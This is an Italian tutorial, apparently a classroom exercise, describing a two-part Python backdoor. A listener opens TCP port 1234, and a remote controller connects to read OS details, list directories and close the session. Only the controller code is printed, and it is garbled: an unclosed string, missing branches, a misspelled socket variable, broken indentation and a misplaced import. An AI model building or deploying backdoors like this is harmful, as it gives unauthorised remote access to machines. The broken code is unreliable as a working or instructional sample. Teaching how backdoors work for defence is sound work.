Una backdoor permette la connessione tra la macchina locale e una macchina connessa in remoto. Può essere sfruttata da un threat actor per prendere il controllo della macchina.

Il primo codice lo eseguiamo sulla prima macchina. Questo crea una socket che comunica tramite ipv4 attraverso la porta TCP 1234.

Il secondo codice lo eseguiamo sulla macchina remota. Questo permette l'accesso alla prima macchina e richiama tre funzioni: una permette di avere informazioni sulla tipologia del sistema operativo, una elenca il contenuto di una directory indicata dall'utente e l'ultima chiude la connessione.

```
SRV_ADDR = input("Type the server IP address: ") #inserire l'ip del server
SRV_PORT = int(input("Type the server port: ")) #inserire la porta del server
def print_menu(): #stampa il menu per la scelta dalla funzione
   print(
"""\n\n0) Close the connection
my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_sock.connect((SRV_ADDR, SRV_PORT))
print("Connection established")
print_menu()
while 1:
   message = input("\n-Select an option: ")
       my_sock.sendall(message.encode()) #richiama la funzione di chisura connessione
        my sock.close()
   elif message == "1":
        my sock.sendall(message.encode()) #richiama la funzione per avere le informazioni su os e architettura
        data = my_sock.recv(1024)
            break
        print(data.decode("utf-8"))
   elif message == "2": #richiama la funzione per visualizzare i file della directory che si indica
        my_sock.sendall(message.encode())
       my_sock.sendall(path.encode())
        data = my_sock.recv(1024)
       data = data.decode("utf-8").split(",")
print("*" * 40)
        for x in data:
            print(x)
        print("*" * 40)
 import socket, platform, os
```

